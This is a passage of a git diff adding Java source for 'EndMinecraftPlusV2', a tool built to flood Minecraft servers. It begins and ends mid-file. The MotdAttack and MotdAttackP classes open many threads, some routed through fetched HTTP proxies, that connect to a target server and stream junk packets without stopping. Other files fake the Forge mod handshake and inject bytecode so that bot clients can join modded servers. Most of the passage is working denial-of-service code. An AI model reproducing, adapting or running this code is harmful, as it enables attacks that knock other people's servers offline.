SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
|
||||
|
||||
public abstract class IAttack {
|
||||
public String ip;
|
||||
public int port;
|
||||
|
||||
public int attack_time;
|
||||
public int attack_maxconnect;
|
||||
public long attack_joinsleep;
|
||||
|
||||
public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||
this.ip = ip;
|
||||
this.port = port;
|
||||
this.attack_time = time;
|
||||
this.attack_maxconnect = maxconnect;
|
||||
this.attack_joinsleep = joinsleep;
|
||||
}
|
||||
|
||||
public abstract void start();
|
||||
|
||||
public abstract void stop();
|
||||
}
|
|
@ -0,0 +1,72 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class MotdAttack extends IAttack {
|
||||
public List<Thread> threads = new ArrayList<>();
|
||||
private int runTimes = 0;
|
||||
private int errorTimes = 0;
|
||||
public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||
super(ip, port, time, maxconnect, joinsleep);
|
||||
}
|
||||
|
||||
public void start() {
|
||||
Runnable task = () -> {
|
||||
while (true) {
|
||||
try {
|
||||
Socket socket = new Socket();
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
if (socket.isConnected()) {
|
||||
LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack" + Thread.currentThread().getName());
|
||||
OutputStream out = socket.getOutputStream();
|
||||
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
||||
out.flush();
|
||||
while (socket.isConnected()) {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||
runTimes++;
|
||||
}
|
||||
out.flush();
|
||||
}
|
||||
try {
|
||||
out.close();
|
||||
socket.close();
|
||||
} catch (IOException ignored) {}
|
||||
LogUtil.doLog(0, "连接已断开。", "MotdAttack" + Thread.currentThread().getName());
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
LogUtil.doLog(0, "发生错误: " + e.getMessage(), "MotdAttack" + Thread.currentThread().getName());
|
||||
errorTimes++;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
if (this.attack_maxconnect < 1)
|
||||
this.attack_maxconnect = 10;
|
||||
|
||||
for (int i = 0; i < this.attack_maxconnect; i++) {
|
||||
Thread thread = new Thread(task);
|
||||
thread.setName(String.valueOf(i + 1));
|
||||
thread.start();
|
||||
threads.add(thread);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
threads.forEach(Thread::stop);
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,84 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.net.Socket;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class MotdAttackP extends IAttack {
|
||||
public List<Thread> threads = new ArrayList<>();
|
||||
private int runTimes = 0;
|
||||
private int errorTimes = 0;
|
||||
|
||||
public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||
super(ip, port, time, maxconnect, joinsleep);
|
||||
}
|
||||
|
||||
public void start() {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
Thread thread = createThread(proxy, ip, port);
|
||||
thread.start();
|
||||
threads.add(thread);
|
||||
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1,"发生错误: " + e.getMessage(), null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
threads.forEach(Thread::stop);
|
||||
}
|
||||
|
||||
public Thread createThread(Proxy proxy, String ip, int port) {
|
||||
Runnable task = () -> {
|
||||
while (true) {
|
||||
try {
|
||||
Socket socket = new Socket(proxy);
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
if (socket.isConnected()) {
|
||||
LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP" + Thread.currentThread().getName());
|
||||
OutputStream out = socket.getOutputStream();
|
||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||
out.flush();
|
||||
while (socket.isConnected()) {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||
out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
|
||||
runTimes++;
|
||||
}
|
||||
out.flush();
|
||||
}
|
||||
try {
|
||||
out.close();
|
||||
socket.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "连接已断开。", "MotdAttackP" + Thread.currentThread().getName());
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
LogUtil.doLog(0, "发生错误: " + e.getMessage(), "MotdAttackP" + Thread.currentThread().getName());
|
||||
errorTimes++;
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
};
|
||||
return new Thread(task);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,94 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
|
||||
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientTabCompletePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
public class MultiVersionPacket {
|
||||
public static void sendTabPacket(Session session, String text) {
|
||||
try {
|
||||
Class<?> cls = ClientTabCompletePacket.class;
|
||||
Constructor<?> constructor = cls.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance();
|
||||
Field field = cls.getDeclaredField("text");
|
||||
field.setAccessible(true);
|
||||
field.set(packet, text);
|
||||
session.send(packet);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
try {
|
||||
Class<?> cls = ClientPlayerPositionRotationPacket.class;
|
||||
Constructor<?> constructor;
|
||||
ClientPlayerPositionRotationPacket packet;
|
||||
try {
|
||||
constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class);
|
||||
packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch);
|
||||
} catch (NoSuchMethodException ex) {
|
||||
constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class);
|
||||
packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch);
|
||||
}
|
||||
session.send(packet);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
public static void sendClientSettingPacket(Session session, String locale) {
|
||||
try {
|
||||
Class<?> cls = ClientSettingsPacket.class;
|
||||
Constructor<?> constructor;
|
||||
ClientSettingsPacket packet;
|
||||
try {
|
||||
Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility");
|
||||
Class<?> parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;");
|
||||
Class<?> parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand");
|
||||
|
||||
Class<?> skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart");
|
||||
Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1);
|
||||
Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]);
|
||||
|
||||
constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class);
|
||||
packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]);
|
||||
} catch (NoSuchMethodException ex) {
|
||||
Class<?> parm1Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility");
|
||||
Class<?> parm2Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty");
|
||||
|
||||
constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class);
|
||||
packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true);
|
||||
}
|
||||
session.send(packet);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) {
|
||||
try {
|
||||
Class<?> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket");
|
||||
Constructor<?> constructor = cls.getConstructor(int.class);
|
||||
Packet packet = (Packet) constructor.newInstance(slot);
|
||||
session.send(packet);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
public static void sendClientTeleportConfirmPacket(Session session, int id) {
|
||||
try {
|
||||
Class<?> cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket");
|
||||
Constructor<?> constructor = cls.getConstructor(int.class);
|
||||
Packet packet = (Packet) constructor.newInstance(id);
|
||||
session.send(packet);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) {
|
||||
try {
|
||||
sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet));
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,66 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.*;
|
||||
|
||||
public class ProtocolLibs {
|
||||
public static void loadProtocolLib() {
|
||||
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
|
||||
List<File> versionLibs = scanProtocolLibs();
|
||||
choseProtocolVer(versionLibs);
|
||||
}
|
||||
|
||||
public static List<File> scanProtocolLibs() {
|
||||
try {
|
||||
Class.forName("javassist.CtClass");
|
||||
} catch (ClassNotFoundException e) {
|
||||
OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar"));
|
||||
}
|
||||
|
||||
File libDir = new File("libs");
|
||||
if (!libDir.exists()) {
|
||||
libDir.mkdir();
|
||||
}
|
||||
|
||||
List<File> versionLibs = new ArrayList<>();
|
||||
for (File file: Objects.requireNonNull(libDir.listFiles())) {
|
||||
if (file.getName().startsWith("MC-") && file.getName().endsWith(".jar"))
|
||||
versionLibs.add(file);
|
||||
}
|
||||
|
||||
Collections.sort(versionLibs);
|
||||
return versionLibs;
|
||||
}
|
||||
|
||||
public static void choseProtocolVer(List<File> versionLibs) {
|
||||
for (int i = 0; i < versionLibs.size(); i++) {
|
||||
String filename = versionLibs.get(i).getName();
|
||||
StringBuilder info = new StringBuilder();
|
||||
info.append("(").append(i + 1).append(")").append(filename, "MC-".length(), filename.length() - ".jar".length());
|
||||
LogUtil.doLog(0, info.toString(), "ProtocolLib");
|
||||
}
|
||||
|
||||
LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib");
|
||||
|
||||
try {
|
||||
Scanner scanner = new Scanner(System.in);
|
||||
int sel = Integer.parseInt(scanner.nextLine());
|
||||
File versionLib = versionLibs.get(sel - 1);
|
||||
OtherUtils.loadLibrary(versionLib);
|
||||
} catch (Exception e) {
|
||||
LogUtil.emptyLog();
|
||||
LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null);
|
||||
LogUtil.doLog(0, "==========================错误排除==========================", "ProtocolLib");
|
||||
LogUtil.doLog(0, "1.检查/libs文件夹内依赖库是否完整", "ProtocolLib");
|
||||
LogUtil.doLog(0, "2.检查对应依赖库是否存在(如[1.8]需要[MC-1.8.jar])", "ProtocolLib");
|
||||
LogUtil.doLog(0, "3.请输入正确的协议库序号(如10)", "ProtocolLib");
|
||||
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
|
||||
LogUtil.emptyLog();
|
||||
|
||||
choseProtocolVer(versionLibs);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,49 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.AttackManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.ProtocolLibs;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
|
||||
public class EndMinecraftPlusV2 {
|
||||
public static String ver = "1.0_Dev";
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println("========================-Forked by SerendipityR-========================");
|
||||
System.out.println(" EndMinecraftPlus原作者 - @iuli-moe");
|
||||
System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2");
|
||||
System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......");
|
||||
System.out.println("========================================================================");
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Forked by SerendipityR");
|
||||
LogUtil.emptyLog();
|
||||
prepareConfig();
|
||||
prepareProxy();
|
||||
startAttack();
|
||||
}
|
||||
|
||||
public static void prepareConfig() {
|
||||
LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil");
|
||||
new ConfigUtil().loadConfig();
|
||||
}
|
||||
|
||||
public static void prepareProxy() {
|
||||
if (!ConfigUtil.AttackMethod.equals(3)) {
|
||||
LogUtil.doLog(0, "正在获取代理...", "ProxyUtil");
|
||||
ProxyUtil.getProxies();
|
||||
ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime);
|
||||
}
|
||||
}
|
||||
|
||||
public static void startAttack() {
|
||||
LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib");
|
||||
ProtocolLibs.loadProtocolLib();
|
||||
AttackManager.doAttack();
|
||||
}
|
||||
|
||||
public static void Exit() {
|
||||
LogUtil.doLog(0, "程序退出...", "INFO");
|
||||
System.exit(0);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,101 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
public class MCForge {
|
||||
private final MCForgeHandShake handshake;
|
||||
|
||||
public Map<String, String> modList;
|
||||
public Session session;
|
||||
|
||||
public MCForge(Session session, Map<String, String> modList) {
|
||||
this.modList = modList;
|
||||
this.session = session;
|
||||
this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
|
||||
}
|
||||
|
||||
public void init() {
|
||||
this.session.addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (e.getPacket() instanceof ServerPluginMessagePacket) {
|
||||
handle(e.getPacket());
|
||||
} else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
|
||||
handshake.handle(e.getPacket());
|
||||
}
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
modifyHost();
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public void handle(ServerPluginMessagePacket packet) {
|
||||
switch (packet.getChannel()) {
|
||||
case "FML|HS":
|
||||
this.handshake.handle(packet);
|
||||
break;
|
||||
case "REGISTER":
|
||||
case "minecraft:register": // 1.13
|
||||
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
|
||||
break;
|
||||
case "MC|Brand":
|
||||
case "minecraft:brand": // 1.13
|
||||
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public void modifyHost() {
|
||||
try {
|
||||
Class<?> cls = this.session.getClass().getSuperclass();
|
||||
|
||||
Field field = cls.getDeclaredField("host");
|
||||
field.setAccessible(true);
|
||||
|
||||
field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean isVersion1710() {
|
||||
return (getProtocolVersion() == 5);
|
||||
}
|
||||
|
||||
public static boolean isAfterVersion1_13() {
|
||||
return (getProtocolVersion() >= 393);
|
||||
}
|
||||
|
||||
public static int getProtocolVersion() {
|
||||
try {
|
||||
Class<?> cls;
|
||||
try {
|
||||
cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants");
|
||||
} catch (ClassNotFoundException e) {
|
||||
cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants");
|
||||
}
|
||||
|
||||
Field field = cls.getDeclaredField("PROTOCOL_VERSION");
|
||||
return field.getInt(null);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
public abstract class MCForgeHandShake {
|
||||
protected MCForge forge;
|
||||
|
||||
public MCForgeHandShake(MCForge forge) {
|
||||
this.forge = forge;
|
||||
}
|
||||
|
||||
public abstract void handle(Packet recvPacket);
|
||||
public abstract String getFMLVersion();
|
||||
}
|
|
@ -0,0 +1,75 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
public class MCForgeHandShakeV1 extends MCForgeHandShake {
|
||||
public MCForgeHandShakeV1(MCForge forge) {
|
||||
super(forge);
|
||||
}
|
||||
|
||||
public void handle(Packet recvPacket) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = forge.session;
|
||||
|
||||
byte[] data = packet.getData();
|
||||
int packetID = data[0];
|
||||
|
||||
switch (packetID) {
|
||||
case 0: // Hello
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
|
||||
|
||||
// ModList
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
try {
|
||||
out.writeVarInt(2);
|
||||
out.writeByte(forge.modList.size());
|
||||
forge.modList.forEach((k, v) -> {
|
||||
try {
|
||||
out.writeString(k);
|
||||
out.writeString(v);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
|
||||
break;
|
||||
case 2: // ModList
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
|
||||
break;
|
||||
case 3: // RegistryData
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
|
||||
break;
|
||||
case -1: // HandshakeAck
|
||||
int ackID = data[1];
|
||||
switch (ackID) {
|
||||
case 2: // WAITING CACK
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
|
||||
break;
|
||||
case 3: // COMPLETE
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
|
||||
break;
|
||||
default:
|
||||
}
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
public String getFMLVersion() {
|
||||
return "FML";
|
||||
}
|
||||
|
||||
private void sendPluginMessage(Session session, String channel, byte[] data) {
|
||||
session.send(new ClientPluginMessagePacket(channel, data));
|
||||
}
|
||||
}
|
|
@ -0,0 +1,158 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket;
|
||||
import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket;
|
||||
import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
public class MCForgeHandShakeV2 extends MCForgeHandShake {
|
||||
private final int Packet_S2CModList = 1;
|
||||
private final int Packet_C2SModListReply = 2;
|
||||
private final int Packet_S2CRegistry = 3;
|
||||
private final int Packet_S2CConfigData = 4;
|
||||
private final int Packet_C2SAcknowledge = 99;
|
||||
|
||||
public MCForgeHandShakeV2(MCForge forge) {
|
||||
super(forge);
|
||||
}
|
||||
|
||||
public void handle(Packet recvPacket) {
|
||||
LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
|
||||
if (!packet.getChannel().equals("fml:loginwrapper")) return;
|
||||
|
||||
try {
|
||||
LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
|
||||
String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
|
||||
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
|
||||
|
||||
int packetID = in.readByte();
|
||||
switch (packetID) {
|
||||
case Packet_S2CModList: {
|
||||
// recv: S2CModList
|
||||
final List<String> mods = new ArrayList<>();
|
||||
int len = in.readVarInt();
|
||||
for (int x = 0; x < len; x++)
|
||||
mods.add(in.readString());
|
||||
|
||||
final Map<String, String> channels = new HashMap<>();
|
||||
len = in.readVarInt();
|
||||
for (int x = 0; x < len; x++)
|
||||
channels.put(in.readString(), in.readString());
|
||||
|
||||
final List<String> registries = new ArrayList<>();
|
||||
len = in.readVarInt();
|
||||
for (int x = 0; x < len; x++)
|
||||
registries.add(in.readString());
|
||||
// send: C2SModListReply
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeByte(Packet_C2SModListReply);
|
||||
|
||||
out.writeVarInt(mods.size());
|
||||
mods.forEach(m -> {
|
||||
try {
|
||||
out.writeString(m);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
|
||||
out.writeVarInt(channels.size());
|
||||
channels.forEach((k, v) -> {
|
||||
try {
|
||||
out.writeString(k);
|
||||
out.writeString(v);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
|
||||
// TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
|
||||
out.writeVarInt(0); // empty map
|
||||
/*
|
||||
out.writeVarInt(registries.size());
|
||||
registries.forEach(r -> {
|
||||
try {
|
||||
out.writeString(r);
|
||||
out.writeString("");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
*/
|
||||
|
||||
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||
break;
|
||||
}
|
||||
case Packet_S2CRegistry:
|
||||
case Packet_S2CConfigData: {
|
||||
// recv: S2CRegistry
|
||||
// send: C2SAcknowledge
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeByte(Packet_C2SAcknowledge);
|
||||
|
||||
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||
break;
|
||||
}// recv: S2CConfigData
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
forge.session.disconnect("Failure to handshake", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public String getFMLVersion() {
|
||||
return "FML2";
|
||||
}
|
||||
|
||||
private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
|
||||
forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
|
||||
}
|
||||
|
||||
static class LoginWrapper {
|
||||
private String targetNetworkReceiver;
|
||||
private byte[] payload;
|
||||
|
||||
public LoginWrapper() {}
|
||||
public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
|
||||
this.targetNetworkReceiver = targetNetworkReceiver;
|
||||
this.payload = payload;
|
||||
}
|
||||
|
||||
public LoginWrapper fromBytes(byte[] bytes) throws IOException {
|
||||
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
|
||||
this.targetNetworkReceiver = in.readString();
|
||||
this.payload = in.readBytes(in.readVarInt());
|
||||
return this;
|
||||
}
|
||||
|
||||
public byte[] toBytes() throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput pb = new StreamNetOutput(buf);
|
||||
pb.writeString(targetNetworkReceiver);
|
||||
pb.writeVarInt(payload.length);
|
||||
pb.writeBytes(payload);
|
||||
|
||||
return buf.toByteArray();
|
||||
}
|
||||
|
||||
public String getTargetNetworkReceiver() {
|
||||
return this.targetNetworkReceiver;
|
||||
}
|
||||
|
||||
public byte[] getPayload() {
|
||||
return this.payload;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,52 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
public class MCForgeInject {
|
||||
public static boolean inject() {
|
||||
|
||||
try {
|
||||
if (MCForge.isVersion1710()) {
|
||||
injectPluginMessage();
|
||||
injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
|
||||
"{$1.readBytes($1.available());return;}");
|
||||
